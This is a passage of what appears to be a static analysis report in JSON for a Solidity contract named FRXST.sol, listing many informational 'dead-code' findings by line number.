1059, 1060]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1528, 1526, 1527]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [696, 694, 695]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1400, 1398, 1399]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1080, 1078, 1079]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [720, 718, 719]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [122, 123, 124]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1482, 1483, 1484]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [360, 358, 359]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [624, 622, 623]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1250, 1251, 1252]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1032, 1030, 1031]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1336, 1334, 1335]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [600, 598, 599]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [728, 726, 727]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1296, 1294, 1295]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [794, 795, 796]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1178, 1179, 1180]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [168, 166, 167]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [256, 254, 255]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [394, 395, 396]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1432, 1430, 1431]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [730, 731, 732]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [242, 243, 244]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1530, 1531, 1532]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [960, 958, 959]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1040, 1038, 1039]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [202, 203, 204]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [192, 190, 191]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [274, 275, 276]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [88, 86, 87]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [610, 611, 612]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [994, 995, 996]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [354, 355, 356]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [194, 195, 196]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [290, 291, 292]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [560, 558, 559]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [162, 163, 164]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [232, 230, 231]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [482, 483, 484]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1232, 1230, 1231]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [216, 214, 215]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [856, 854, 855]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [896, 894, 895]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [826, 827, 828]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1490, 1491, 1492]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [640, 638, 639]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1248, 1246, 1247]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1304, 1302, 1303]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1136, 1134, 1135]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [112, 110, 111]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1066, 1067, 1068]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [98, 99, 100]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [936, 934, 935]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [608, 606, 607]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [986, 987, 988]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1352, 1350, 1351]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1256, 1254, 1255]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [458, 459, 460]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [426, 427, 428]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1016, 1014, 1015]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [282, 283, 284]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [656, 654, 655]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1368, 1366, 1367]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [352, 350, 351]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [616, 614, 615]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [736, 734, 735]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1184, 1182, 1183]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1034, 1035, 1036]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [738, 739, 740]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1472, 1470, 1471]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [666, 667, 668]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1330, 1331, 1332]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [714, 715, 716]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1130, 1131, 1132]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [106, 107, 108]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [922, 923, 924]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [392, 390, 391]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [448, 446, 447]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [312, 310, 311]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1120, 1118, 1119]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [208, 206, 207]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [848, 846, 847]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [240, 238, 239]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [474, 475, 476]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1224, 1222, 1223]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1146, 1147, 1148]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1154, 1155, 1156]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [784, 782, 783]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [58, 59, 60]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1448, 1446, 1447]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1410, 1411, 1412]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [576, 574, 575]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [386, 387, 388]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [698, 699, 700]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [962, 963, 964]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [512, 510, 511]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [152, 150, 151]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [722, 723, 724]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [632, 630, 631]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1408, 1406, 1407]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [930, 931, 932]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [490, 491, 492]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [200, 198, 199]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1162, 1163, 1164]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [778, 779, 780]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [210, 211, 212]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [954, 955, 956]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [50, 51, 52]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1090, 1091, 1092]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1338, 1339, 1340]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [768, 766, 767]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1072, 1070, 1071]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1426, 1427, 1428]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [400, 398, 399]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1000, 998, 999]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [928, 926, 927]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [754, 755, 756]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1466, 1467, 1468]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [506, 507, 508]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1266, 1267, 1268]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [744, 742, 743]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [42, 43, 44]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [434, 435, 436]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [594, 595, 596]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [746, 747, 748]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [650, 651, 652]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [648, 646, 647]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1144, 1142, 1143]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [320, 318, 319]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [218, 219, 220]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [408, 406, 407]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1050, 1051, 1052]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1658, 1659, 1660]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [890, 891, 892]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1520, 1518, 1519]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1064, 1062, 1063]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [114, 115, 116]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [888, 886, 887]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [592, 590, 591]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1384, 1382, 1383]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [898, 899, 900]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1048, 1046, 1047]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [186, 187, 188]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [544, 542, 543]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1104, 1102, 1103]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [938, 939, 940]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1226, 1227, 1228]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [584, 582, 583]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1346, 1347, 1348]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [184, 182, 183]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [328, 326, 327]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [904, 902, 903]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1026, 1027, 1028]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1138, 1139, 1140]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [618, 619, 620]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [834, 835, 836]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1008, 1006, 1007]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1290, 1291, 1292]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1122, 1123, 1124]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [752, 750, 751]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1322, 1323, 1324]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [920, 918, 919]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1242, 1243, 1244]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [824, 822, 823]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [762, 763, 764]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1216, 1214, 1215]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1042, 1043, 1044]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [330, 331, 332]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [18, 19, 20]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [682, 683, 684]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1056, 1054, 1055]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1362, 1363, 1364]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1088, 1086, 1087]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [680, 678, 679]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [664, 662, 663]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1312, 1310, 1311]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [226, 227, 228]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1240, 1238, 1239]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [362, 363, 364]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [130, 131, 132]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [840, 838, 839]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [634, 635, 636]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [418, 419, 420]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1002, 1003, 1004]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1200, 1198, 1199]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1098, 1099, 1100]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [602, 603, 604]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [810, 811, 812]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1112, 1110, 1111]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1298, 1299, 1300]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [944, 942, 943]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1280, 1278, 1279]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1320, 1318, 1319]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [488, 486, 487]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1314, 1315, 1316]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [128, 126, 127]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1234, 1235, 1236]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [480, 478, 479]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [842, 843, 844]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1434, 1435, 1436]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1386, 1387, 1388]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [976, 974, 975]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [272, 270, 271]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [90, 91, 92]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [874, 875, 876]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [642, 643, 644]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1458, 1459, 1460]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [530, 531, 532]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [288, 286, 287]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [176, 174, 175]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [466, 467, 468]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [410, 411, 412]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [80, 78, 79]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1274, 1275, 1276]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1186, 1187, 1188]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [368, 366, 367]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [34, 35, 36]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [26, 27, 28]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1010, 1011, 1012]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [760, 758, 759]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1354, 1355, 1356]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [802, 803, 804]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [712, 710, 711]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [250, 251, 252]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [562, 563, 564]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [424, 422, 423]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [706, 707, 708]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [456, 454, 455]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [440, 438, 439]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1440, 1438, 1439]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [568, 566, 567]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [280, 278, 279]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [800, 798, 799]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1082, 1083, 1084]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [66, 67, 68]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [472, 470, 471]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [872, 870, 871]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1194, 1195, 1196]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1514, 1515, 1516]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [808, 806, 807]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1418, 1419, 1420]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [912, 910, 911]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [552, 550, 551]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [24, 22, 23]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [984, 982, 983]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [882, 883, 884]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1378, 1379, 1380]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [864, 862, 863]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [906, 907, 908]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [818, 819, 820]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [296, 294, 295]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [554, 555, 556]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [704, 702, 703]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [224, 222, 223]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [138, 139, 140]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [880, 878, 879]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [160, 158, 159]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [234, 235, 236]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1512, 1510, 1511]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [770, 771, 772]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1394, 1395, 1396]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1456, 1454, 1455]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1416, 1414, 1415]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [344, 342, 343]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [1360, 1358, 1359]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [626, 627, 628]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"FRXST.sol": [136, 134, 135]}}, {"check": "dead-code", "impact": "Informational", "confidence": 